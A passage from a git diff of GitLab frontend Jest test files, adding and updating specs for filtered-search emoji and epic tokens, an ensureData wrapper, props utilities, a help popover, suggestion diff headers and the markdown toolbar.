- expect(vm.$el.querySelector('#my-modal.modal')).not.toHaveClass('show');
- });
-
- it('does not show a backdrop', () => {
- expect(vm.$el.querySelector('modal-backdrop')).toBeNull();
- });
- });
- });
-
- it('works with data-toggle="modal"', () => {
- setFixtures(`
- <button id="modal-button" data-toggle="modal" data-target="#my-modal"></button>
- <div id="modal-container"></div>
- `);
-
- const modalContainer = document.getElementById('modal-container');
- const modalButton = document.getElementById('modal-button');
- vm = mountComponent(
- modalComponent,
- {
- id: 'my-modal',
- },
- modalContainer,
- );
- const modalElement = vm.$el.querySelector('#my-modal');
-
- expect(modalElement).not.toHaveClass('show');
-
- modalButton.click();
-
- expect(modalElement).toHaveClass('show');
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/ensure_data_spec.js b/spec/frontend/vue_shared/components/ensure_data_spec.js
new file mode 100644
index 00000000000..eef8b452f5f
--- /dev/null
+++ b/spec/frontend/vue_shared/components/ensure_data_spec.js
@@ -0,0 +1,145 @@
+import { GlEmptyState } from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
+import { mount } from '@vue/test-utils';
+import ensureData from '~/ensure_data';
+
+const mockData = { message: 'Hello there' };
+const defaultOptions = {
+ parseData: () => mockData,
+ data: mockData,
+};
+
+const MockChildComponent = {
+ inject: ['message'],
+ render(createElement) {
+ return createElement('h1', this.message);
+ },
+};
+
+const MockParentComponent = {
+ components: {
+ MockChildComponent,
+ },
+ props: {
+ message: {
+ type: String,
+ required: true,
+ },
+ otherProp: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ },
+ render(createElement) {
+ return createElement('div', [this.message, createElement(MockChildComponent)]);
+ },
+};
+
+describe('EnsureData', () => {
+ let wrapper;
+
+ function findEmptyState() {
+ return wrapper.findComponent(GlEmptyState);
+ }
+
+ function findChild() {
+ return wrapper.findComponent(MockChildComponent);
+ }
+ function findParent() {
+ return wrapper.findComponent(MockParentComponent);
+ }
+
+ function createComponent(options = defaultOptions) {
+ return mount(ensureData(MockParentComponent, options));
+ }
+
+ beforeEach(() => {
+ Sentry.captureException = jest.fn();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ Sentry.captureException.mockClear();
+ });
+
+ describe('when parseData throws', () => {
+ it('should render GlEmptyState', () => {
+ wrapper = createComponent({
+ parseData: () => {
+ throw new Error();
+ },
+ });
+
+ expect(findParent().exists()).toBe(false);
+ expect(findChild().exists()).toBe(false);
+ expect(findEmptyState().exists()).toBe(true);
+ });
+
+ it('should not log to Sentry when shouldLog=false (default)', () => {
+ wrapper = createComponent({
+ parseData: () => {
+ throw new Error();
+ },
+ });
+
+ expect(Sentry.captureException).not.toHaveBeenCalled();
+ });
+
+ it('should log to Sentry when shouldLog=true', () => {
+ const error = new Error('Error!');
+ wrapper = createComponent({
+ parseData: () => {
+ throw error;
+ },
+ shouldLog: true,
+ });
+
+ expect(Sentry.captureException).toHaveBeenCalledWith(error);
+ });
+ });
+
+ describe('when parseData succeeds', () => {
+ it('should render MockParentComponent and MockChildComponent', () => {
+ wrapper = createComponent();
+
+ expect(findEmptyState().exists()).toBe(false);
+ expect(findParent().exists()).toBe(true);
+ expect(findChild().exists()).toBe(true);
+ });
+
+ it('enables user to provide data to child components', () => {
+ wrapper = createComponent();
+
+ const childComponent = findChild();
+ expect(childComponent.text()).toBe(mockData.message);
+ });
+
+ it('enables user to override provide data', () => {
+ const message = 'Another message';
+ wrapper = createComponent({ ...defaultOptions, provide: { message } });
+
+ const childComponent = findChild();
+ expect(childComponent.text()).toBe(message);
+ });
+
+ it('enables user to pass props to parent component', () => {
+ wrapper = createComponent();
+
+ expect(findParent().props()).toMatchObject(mockData);
+ });
+
+ it('enables user to override props data', () => {
+ const props = { message: 'Another message', otherProp: true };
+ wrapper = createComponent({ ...defaultOptions, props });
+
+ expect(findParent().props()).toMatchObject(props);
+ });
+
+ it('should not log to Sentry when shouldLog=true', () => {
+ wrapper = createComponent({ ...defaultOptions, shouldLog: true });
+
+ expect(Sentry.captureException).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
index 7606b3bd91c..c24528ba4d2 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js
@@ -3,6 +3,8 @@ import { mockLabels } from 'jest/vue_shared/components/sidebar/labels_select_vue
import Api from '~/api';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
import BranchToken from '~/vue_shared/components/filtered_search_bar/tokens/branch_token.vue';
+import EmojiToken from '~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue';
+import EpicToken from '~/vue_shared/components/filtered_search_bar/tokens/epic_token.vue';
import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
@@ -59,6 +61,21 @@ export const mockMilestones = [
mockEscapedMilestone,
];
+export const mockEpics = [
+ { iid: 1, id: 1, title: 'Foo' },
+ { iid: 2, id: 2, title: 'Bar' },
+];
+
+export const mockEmoji1 = {
+ name: 'thumbsup',
+};
+
+export const mockEmoji2 = {
+ name: 'star',
+};
+
+export const mockEmojis = [mockEmoji1, mockEmoji2];
+
export const mockBranchToken = {
type: 'source_branch',
icon: 'branch',
@@ -103,6 +120,28 @@ export const mockMilestoneToken = {
fetchMilestones: () => Promise.resolve({ data: mockMilestones }),
};
+export const mockEpicToken = {
+ type: 'epic_iid',
+ icon: 'clock',
+ title: 'Epic',
+ unique: true,
+ symbol: '&',
+ token: EpicToken,
+ operators: [{ value: '=', description: 'is', default: 'true' }],
+ fetchEpics: () => Promise.resolve({ data: mockEpics }),
+ fetchSingleEpic: () => Promise.resolve({ data: mockEpics[0] }),
+};
+
+export const mockReactionEmojiToken = {
+ type: 'my_reaction_emoji',
+ icon: 'thumb-up',
+ title: 'My-Reaction',
+ unique: true,
+ token: EmojiToken,
+ operators: [{ value: '=', description: 'is', default: 'true' }],
+ fetchEmojis: () => Promise.resolve(mockEmojis),
+};
+
export const mockMembershipToken = {
type: 'with_inherited_permissions',
icon: 'group',
@@ -168,6 +207,14 @@ export const tokenValuePlain = {
value: { data: 'foo' },
};
+export const tokenValueEpic = {
+ type: 'epic_iid',
+ value: {
+ operator: '=',
+ data: '"foo"::&42',
+ },
+};
+
export const mockHistoryItems = [
[tokenValueAuthor, tokenValueLabel, tokenValueMilestone, 'duo'],
[tokenValueAuthor, 'si'],
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js
new file mode 100644
index 00000000000..231f2f01428
--- /dev/null
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js
@@ -0,0 +1,217 @@
+import {
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlFilteredSearchTokenSegment,
+ GlDropdownDivider,
+} from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import { deprecatedCreateFlash as createFlash } from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+
+import {
+ DEFAULT_LABEL_NONE,
+ DEFAULT_LABEL_ANY,
+} from '~/vue_shared/components/filtered_search_bar/constants';
+import EmojiToken from '~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue';
+
+import { mockReactionEmojiToken, mockEmojis } from '../mock_data';
+
+jest.mock('~/flash');
+const GlEmoji = { template: '<img/>' };
+const defaultStubs = {
+ Portal: true,
+ GlFilteredSearchSuggestionList: {
+ template: '<div></div>',
+ methods: {
+ getValue: () => '=',
+ },
+ },
+ GlEmoji,
+};
+
+function createComponent(options = {}) {
+ const {
+ config = mockReactionEmojiToken,
+ value = { data: '' },
+ active = false,
+ stubs = defaultStubs,
+ } = options;
+ return mount(EmojiToken, {
+ propsData: {
+ config,
+ value,
+ active,
+ },
+ provide: {
+ portalName: 'fake target',
+ alignSuggestions: function fakeAlignSuggestions() {},
+ suggestionsListClass: 'custom-class',
+ },
+ stubs,
+ });
+}
+
+describe('EmojiToken', () => {
+ let mock;
+ let wrapper;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ beforeEach(async () => {
+ wrapper = createComponent({ value: { data: mockEmojis[0].name } });
+
+ wrapper.setData({
+ emojis: mockEmojis,
+ });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ describe('currentValue', () => {
+ it('returns lowercase string for `value.data`', () => {
+ expect(wrapper.vm.currentValue).toBe(mockEmojis[0].name);
+ });
+ });
+
+ describe('activeEmoji', () => {
+ it('returns object for currently present `value.data`', () => {
+ expect(wrapper.vm.activeEmoji).toEqual(mockEmojis[0]);
+ });
+ });
+ });
+
+ describe('methods', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ describe('fetchEmojiBySearchTerm', () => {
+ it('calls `config.fetchEmojis` with provided searchTerm param', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEmojis');
+
+ wrapper.vm.fetchEmojiBySearchTerm('foo');
+
+ expect(wrapper.vm.config.fetchEmojis).toHaveBeenCalledWith('foo');
+ });
+
+ it('sets response to `emojis` when request is successful', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEmojis').mockResolvedValue(mockEmojis);
+
+ wrapper.vm.fetchEmojiBySearchTerm('foo');
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.emojis).toEqual(mockEmojis);
+ });
+ });
+
+ it('calls `createFlash` with flash error message when request fails', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEmojis').mockRejectedValue({});
+
+ wrapper.vm.fetchEmojiBySearchTerm('foo');
+
+ return waitForPromises().then(() => {
+ expect(createFlash).toHaveBeenCalledWith('There was a problem fetching emojis.');
+ });
+ });
+
+ it('sets `loading` to false when request completes', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEmojis').mockRejectedValue({});
+
+ wrapper.vm.fetchEmojiBySearchTerm('foo');
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.loading).toBe(false);
+ });
+ });
+ });
+ });
+
+ describe('template', () => {
+ const defaultEmojis = [DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY];
+
+ beforeEach(async () => {
+ wrapper = createComponent({
+ value: { data: `"${mockEmojis[0].name}"` },
+ });
+
+ wrapper.setData({
+ emojis: mockEmojis,
+ });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ it('renders gl-filtered-search-token component', () => {
+ expect(wrapper.find(GlFilteredSearchToken).exists()).toBe(true);
+ });
+
+ it('renders token item when value is selected', () => {
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+
+ expect(tokenSegments).toHaveLength(3); // My Reaction, =, "thumbsup"
+ expect(tokenSegments.at(2).find(GlEmoji).attributes('data-name')).toEqual('thumbsup');
+ });
+
+ it('renders provided defaultEmojis as suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockReactionEmojiToken, defaultEmojis },
+ stubs: { Portal: true, GlEmoji },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(defaultEmojis.length);
+ defaultEmojis.forEach((emoji, index) => {
+ expect(suggestions.at(index).text()).toBe(emoji.text);
+ });
+ });
+
+ it('does not render divider when no defaultEmojis', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockReactionEmojiToken, defaultEmojis: [] },
+ stubs: { Portal: true, GlEmoji },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlFilteredSearchSuggestion).exists()).toBe(false);
+ expect(wrapper.find(GlDropdownDivider).exists()).toBe(false);
+ });
+
+ it('renders `DEFAULT_LABEL_NONE` and `DEFAULT_LABEL_ANY` as default suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockReactionEmojiToken },
+ stubs: { Portal: true, GlEmoji },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(2);
+ expect(suggestions.at(0).text()).toBe(DEFAULT_LABEL_NONE.text);
+ expect(suggestions.at(1).text()).toBe(DEFAULT_LABEL_ANY.text);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js
new file mode 100644
index 00000000000..0c3f9e1363f
--- /dev/null
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js
@@ -0,0 +1,180 @@
+import { GlFilteredSearchToken, GlFilteredSearchTokenSegment } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+
+import EpicToken from '~/vue_shared/components/filtered_search_bar/tokens/epic_token.vue';
+
+import { mockEpicToken, mockEpics } from '../mock_data';
+
+jest.mock('~/flash');
+
+const defaultStubs = {
+ Portal: true,
+ GlFilteredSearchSuggestionList: {
+ template: '<div></div>',
+ methods: {
+ getValue: () => '=',
+ },
+ },
+};
+
+function createComponent(options = {}) {
+ const {
+ config = mockEpicToken,
+ value = { data: '' },
+ active = false,
+ stubs = defaultStubs,
+ } = options;
+ return mount(EpicToken, {
+ propsData: {
+ config,
+ value,
+ active,
+ },
+ provide: {
+ portalName: 'fake target',
+ alignSuggestions: function fakeAlignSuggestions() {},
+ suggestionsListClass: 'custom-class',
+ },
+ stubs,
+ });
+}
+
+describe('EpicToken', () => {
+ let mock;
+ let wrapper;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ mock.restore();
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ beforeEach(async () => {
+ wrapper = createComponent({
+ data: {
+ epics: mockEpics,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ describe('currentValue', () => {
+ it.each`
+ data | id
+ ${`${mockEpics[0].title}::&${mockEpics[0].iid}`} | ${mockEpics[0].iid}
+ ${mockEpics[0].iid} | ${mockEpics[0].iid}
+ ${'foobar'} | ${'foobar'}
+ `('$data returns $id', async ({ data, id }) => {
+ wrapper.setProps({ value: { data } });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.currentValue).toBe(id);
+ });
+ });
+
+ describe('activeEpic', () => {
+ it('returns object for currently present `value.data`', async () => {
+ wrapper.setProps({
+ value: { data: `${mockEpics[0].iid}` },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.activeEpic).toEqual(mockEpics[0]);
+ });
+ });
+ });
+
+ describe('methods', () => {
+ describe('fetchEpicsBySearchTerm', () => {
+ it('calls `config.fetchEpics` with provided searchTerm param', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEpics');
+
+ wrapper.vm.fetchEpicsBySearchTerm('foo');
+
+ expect(wrapper.vm.config.fetchEpics).toHaveBeenCalledWith('foo');
+ });
+
+ it('sets response to `epics` when request is successful', async () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEpics').mockResolvedValue({
+ data: mockEpics,
+ });
+
+ wrapper.vm.fetchEpicsBySearchTerm();
+
+ await waitForPromises();
+
+ expect(wrapper.vm.epics).toEqual(mockEpics);
+ });
+
+ it('calls `createFlash` with flash error message when request fails', async () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEpics').mockRejectedValue({});
+
+ wrapper.vm.fetchEpicsBySearchTerm('foo');
+
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was a problem fetching epics.',
+ });
+ });
+
+ it('sets `loading` to false when request completes', async () => {
+ jest.spyOn(wrapper.vm.config, 'fetchEpics').mockRejectedValue({});
+
+ wrapper.vm.fetchEpicsBySearchTerm('foo');
+
+ await waitForPromises();
+
+ expect(wrapper.vm.loading).toBe(false);
+ });
+ });
+
+ describe('fetchSingleEpic', () => {
+ it('calls `config.fetchSingleEpic` with provided iid param', async () => {
+ jest.spyOn(wrapper.vm.config, 'fetchSingleEpic');
+
+ wrapper.vm.fetchSingleEpic(1);
+
+ expect(wrapper.vm.config.fetchSingleEpic).toHaveBeenCalledWith(1);
+
+ await waitForPromises();
+
+ expect(wrapper.vm.epics).toEqual([mockEpics[0]]);
+ });
+ });
+ });
+
+ describe('template', () => {
+ beforeEach(async () => {
+ wrapper = createComponent({
+ value: { data: `${mockEpics[0].iid}` },
+ data: { epics: mockEpics },
+ });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ it('renders gl-filtered-search-token component', () => {
+ expect(wrapper.find(GlFilteredSearchToken).exists()).toBe(true);
+ });
+
+ it('renders token item when value is selected', () => {
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+
+ expect(tokenSegments).toHaveLength(3);
+ expect(tokenSegments.at(2).text()).toBe(`${mockEpics[0].title}::&${mockEpics[0].iid}`);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
index 7676ce10ce0..8528c062426 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
@@ -118,6 +118,22 @@ describe('LabelToken', () => {
wrapper = createComponent();
});
+ describe('getLabelName', () => {
+ it('returns value of `name` or `title` property present in provided label param', () => {
+ let mockLabel = {
+ title: 'foo',
+ };
+
+ expect(wrapper.vm.getLabelName(mockLabel)).toBe(mockLabel.title);
+
+ mockLabel = {
+ name: 'foo',
+ };
+
+ expect(wrapper.vm.getLabelName(mockLabel)).toBe(mockLabel.name);
+ });
+ });
+
describe('fetchLabelBySearchTerm', () => {
it('calls `config.fetchLabels` with provided searchTerm param', () => {
jest.spyOn(wrapper.vm.config, 'fetchLabels');
diff --git a/spec/frontend/vue_shared/components/gl_toggle_vuex_spec.js b/spec/frontend/vue_shared/components/gl_toggle_vuex_spec.js
deleted file mode 100644
index ac670b622b1..00000000000
--- a/spec/frontend/vue_shared/components/gl_toggle_vuex_spec.js
+++ /dev/null
@@ -1,114 +0,0 @@
-import { GlToggle } from '@gitlab/ui';
-import { mount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import GlToggleVuex from '~/vue_shared/components/gl_toggle_vuex.vue';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('GlToggleVuex component', () => {
- let wrapper;
- let store;
-
- const findButton = () => wrapper.find('button');
-
- const createWrapper = (props = {}) => {
- wrapper = mount(GlToggleVuex, {
- localVue,
- store,
- propsData: {
- stateProperty: 'toggleState',
- ...props,
- },
- });
- };
-
- beforeEach(() => {
- store = new Vuex.Store({
- state: {
- toggleState: false,
- },
- actions: {
- setToggleState: ({ commit }, { key, value }) => commit('setToggleState', { key, value }),
- },
- mutations: {
- setToggleState: (state, { key, value }) => {
- state[key] = value;
- },
- },
- });
- createWrapper();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders gl-toggle', () => {
- expect(wrapper.find(GlToggle).exists()).toBe(true);
- });
-
- it('properly computes default value for setAction', () => {
- expect(wrapper.props('setAction')).toBe('setToggleState');
- });
-
- describe('without a store module', () => {
- it('calls action with new value when value changes', () => {
- jest.spyOn(store, 'dispatch');
-
- findButton().trigger('click');
- expect(store.dispatch).toHaveBeenCalledWith('setToggleState', {
- key: 'toggleState',
- value: true,
- });
- });
-
- it('updates store property when value changes', () => {
- findButton().trigger('click');
- expect(store.state.toggleState).toBe(true);
- });
- });
-
- describe('with a store module', () => {
- beforeEach(() => {
- store = new Vuex.Store({
- modules: {
- someModule: {
- namespaced: true,
- state: {
- toggleState: false,
- },
- actions: {
- setToggleState: ({ commit }, { key, value }) =>
- commit('setToggleState', { key, value }),
- },
- mutations: {
- setToggleState: (state, { key, value }) => {
- state[key] = value;
- },
- },
- },
- },
- });
-
- createWrapper({
- storeModule: 'someModule',
- });
- });
-
- it('calls action with new value when value changes', () => {
- jest.spyOn(store, 'dispatch');
-
- findButton().trigger('click');
- expect(store.dispatch).toHaveBeenCalledWith('someModule/setToggleState', {
- key: 'toggleState',
- value: true,
- });
- });
-
- it('updates store property when value changes', () => {
- findButton().trigger('click');
- expect(store.state.someModule.toggleState).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/help_popover_spec.js b/spec/frontend/vue_shared/components/help_popover_spec.js
index baf80a8a04e..30c6fa04032 100644
--- a/spec/frontend/vue_shared/components/help_popover_spec.js
+++ b/spec/frontend/vue_shared/components/help_popover_spec.js
@@ -27,7 +27,6 @@ describe('HelpPopover', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
it('renders a link button with an icon question', () => {
@@ -35,17 +34,12 @@ describe('HelpPopover', () => {
icon: 'question',
variant: 'link',
});
- expect(findQuestionButton().attributes().tabindex).toBe('0');
});
it('renders popover that uses the question button as target', () => {
expect(findPopover().props().target()).toBe(findQuestionButton().vm.$el);
});
- it('triggers popover on hover and focus', () => {
- expect(findPopover().props().triggers).toBe('hover focus');
- });
-
it('allows rendering title with HTML tags', () => {
expect(findPopover().find('strong').exists()).toBe(true);
});
@@ -54,6 +48,14 @@ describe('HelpPopover', () => {
expect(findPopover().find('b').exists()).toBe(true);
});
+ describe('without title', () => {
+ it('does not render title', () => {
+ buildWrapper({ title: null });
+
+ expect(findPopover().find('span').exists()).toBe(false);
+ });
+ });
+
it('binds other popover options to the popover instance', () => {
const placement = 'bottom';
diff --git a/spec/frontend/vue_shared/components/lib/utils/props_utils_spec.js b/spec/frontend/vue_shared/components/lib/utils/props_utils_spec.js
new file mode 100644
index 00000000000..f1c9fbb00c9
--- /dev/null
+++ b/spec/frontend/vue_shared/components/lib/utils/props_utils_spec.js
@@ -0,0 +1,91 @@
+import { propsUnion } from '~/vue_shared/components/lib/utils/props_utils';
+
+describe('propsUnion', () => {
+ const stringRequired = {
+ type: String,
+ required: true,
+ };
+
+ const stringOptional = {
+ type: String,
+ required: false,
+ };
+
+ const numberOptional = {
+ type: Number,
+ required: false,
+ };
+
+ const booleanRequired = {
+ type: Boolean,
+ required: true,
+ };
+
+ const FooComponent = {
+ props: { foo: stringRequired },
+ };
+
+ const BarComponent = {
+ props: { bar: numberOptional },
+ };
+
+ const FooBarComponent = {
+ props: {
+ foo: stringRequired,
+ bar: numberOptional,
+ },
+ };
+
+ const FooOptionalComponent = {
+ props: {
+ foo: stringOptional,
+ },
+ };
+
+ const QuxComponent = {
+ props: {
+ foo: booleanRequired,
+ qux: stringRequired,
+ },
+ };
+
+ it('returns an empty object given no components', () => {
+ expect(propsUnion([])).toEqual({});
+ });
+
+ it('merges non-overlapping props', () => {
+ expect(propsUnion([FooComponent, BarComponent])).toEqual({
+ ...FooComponent.props,
+ ...BarComponent.props,
+ });
+ });
+
+ it('merges overlapping props', () => {
+ expect(propsUnion([FooComponent, BarComponent, FooBarComponent])).toEqual({
+ ...FooComponent.props,
+ ...BarComponent.props,
+ ...FooBarComponent.props,
+ });
+ });
+
+ it.each`
+ components
+ ${[FooComponent, FooOptionalComponent]}
+ ${[FooOptionalComponent, FooComponent]}
+ `('prefers required props over non-required props', ({ components }) => {
+ expect(propsUnion(components)).toEqual(FooComponent.props);
+ });
+
+ it('throws if given props with conflicting types', () => {
+ expect(() => propsUnion([FooComponent, QuxComponent])).toThrow(/incompatible prop types/);
+ });
+
+ it.each`
+ components
+ ${[{ props: ['foo', 'bar'] }]}
+ ${[{ props: { foo: String, bar: Number } }]}
+ ${[{ props: { foo: {}, bar: {} } }]}
+ `('throw if given a non-verbose props object', ({ components }) => {
+ expect(() => propsUnion(components)).toThrow(/expected verbose prop/);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js b/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js
index 5364e2d5f52..ba2450b56c9 100644
--- a/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js
@@ -1,5 +1,6 @@
import { GlLoadingIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import ApplySuggestion from '~/vue_shared/components/markdown/apply_suggestion.vue';
import SuggestionDiffHeader from '~/vue_shared/components/markdown/suggestion_diff_header.vue';
@@ -16,17 +17,14 @@ const DEFAULT_PROPS = {
describe('Suggestion Diff component', () => {
let wrapper;
- const createComponent = (props, glFeatures = {}) => {
+ const createComponent = (props) => {
wrapper = shallowMount(SuggestionDiffHeader, {
propsData: {
...DEFAULT_PROPS,
...props,
},
- provide: {
- glFeatures: {
- batchSuggestions: true,
- ...glFeatures,
- },
+ directives: {
+ GlTooltip: createMockDirective(),
},
});
};
@@ -211,18 +209,6 @@ describe('Suggestion Diff component', () => {
});
});
- describe('batchSuggestions feature flag is set to false', () => {
- beforeEach(() => {
- createComponent({}, { batchSuggestions: false });
- });
-
- it('disables add to batch buttons but keeps apply suggestion enabled', () => {
- expect(findApplyButton().exists()).toBe(true);
- expect(findAddToBatchButton().exists()).toBe(false);
- expect(findApplyButton().attributes('disabled')).not.toBe('true');
- });
- });
-
describe('canApply is set to false', () => {
beforeEach(() => {
createComponent({ canApply: false });
@@ -236,15 +222,23 @@ describe('Suggestion Diff component', () => {
});
describe('tooltip message for apply button', () => {
+ const findTooltip = () => getBinding(findApplyButton().element, 'gl-tooltip');
+
it('renders correct tooltip message when button is applicable', () => {
createComponent();
- expect(wrapper.vm.tooltipMessage).toBe('This also resolves this thread');
+ const tooltip = findTooltip();
+
+ expect(tooltip.modifiers.viewport).toBe(true);
+ expect(tooltip.value).toBe('This also resolves this thread');
});
it('renders the inapplicable reason in the tooltip when button is not applicable', () => {
const inapplicableReason = 'lorem';
createComponent({ canApply: false, inapplicableReason });
- expect(wrapper.vm.tooltipMessage).toBe(inapplicableReason);
+ const tooltip = findTooltip();
+
+ expect(tooltip.modifiers.viewport).toBe(true);
+ expect(tooltip.value).toBe(inapplicableReason);
});
});
});
diff --git a/spec/frontend/vue_shared/components/markdown/toolbar_spec.js b/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
index e7c31014bfc..eddc4033a65 100644
--- a/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
@@ -1,35 +1,75 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import toolbar from '~/vue_shared/components/markdown/toolbar.vue';
+import { mount } from '@vue/test-utils';
+import { isExperimentVariant } from '~/experimentation/utils';
+import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
+import { INVITE_MEMBERS_IN_COMMENT } from '~/invite_members/constants';
+import Toolbar from '~/vue_shared/components/markdown/toolbar.vue';
+
+jest.mock('~/experimentation/utils', () => ({ isExperimentVariant: jest.fn() }));
describe('toolbar', () => {
- let vm;
- const Toolbar = Vue.extend(toolbar);
- const props = {
- markdownDocsPath: '',
+ let wrapper;
+
+ const createMountedWrapper = (props = {}) => {
+ wrapper = mount(Toolbar, {
+ propsData: { markdownDocsPath: '', ...props },
+ stubs: { 'invite-members-trigger': true },
+ });
};
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
+ isExperimentVariant.mockReset();
});
describe('user can attach file', () => {
beforeEach(() => {
- vm = mountComponent(Toolbar, props);
+ createMountedWrapper();
});
it('should render uploading-container', () => {
- expect(vm.$el.querySelector('.uploading-container')).not.toBeNull();
+ expect(wrapper.vm.$el.querySelector('.uploading-container')).not.toBeNull();
});
});
describe('user cannot attach file', () => {
beforeEach(() => {
- vm = mountComponent(Toolbar, { ...props, canAttachFile: false });
+ createMountedWrapper({ canAttachFile: false });
});
it('should not render uploading-container', () => {
- expect(vm.$el.querySelector('.uploading-container')).toBeNull();
+ expect(wrapper.vm.$el.querySelector('.uploading-container')).toBeNull();
+ });
+ });
+
+ describe('user can invite member', () => {
+ const findInviteLink = () => wrapper.find(InviteMembersTrigger);
+
+ beforeEach(() => {
+ isExperimentVariant.mockReturnValue(true);
+ createMountedWrapper();
+ });
+
+ it('should render the invite members trigger', () => {
+ expect(findInviteLink().exists()).toBe(true);
+ });
+
+ it('should have correct props', () => {
+ expect(findInviteLink().props().displayText).toBe('Invite Member');
+ expect(findInviteLink().props().trackExperiment).toBe(INVITE_MEMBERS_IN_COMMENT);
+ expect(findInviteLink().props().triggerSource).toBe(INVITE_MEMBERS_IN_COMMENT);
+ });
+ });
+
+ describe('user can not invite member', () => {
+ const findInviteLink = () => wrapper.find(InviteMembersTrigger);
+
+ beforeEach(() => {
+ isExperimentVariant.mockReturnValue(false);
